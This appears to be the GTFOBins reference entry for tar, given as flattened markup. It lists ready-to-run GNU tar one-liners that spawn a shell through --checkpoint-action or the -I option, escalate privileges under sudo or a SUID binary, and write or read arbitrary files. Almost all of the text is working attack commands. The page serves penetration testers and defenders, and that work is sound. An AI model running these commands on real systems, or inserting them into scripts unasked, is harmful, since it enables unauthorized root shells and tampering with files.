GTFOBins.github.io/_gtfobins/tar.md

functions

execute-interactive execute-non-interactive sudo-enabled suid-limited file-write file-read code tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh description code This only works for GNU tar. tar xf /dev/null -I '/bin/sh -c "id 1>&2"' code sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh code ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh description code This only works for GNU tar. LFILE=file_to_write TF=$(mktemp) echo data > "$TF" tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P description code This only works for GNU tar. LFILE=file_to_read tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'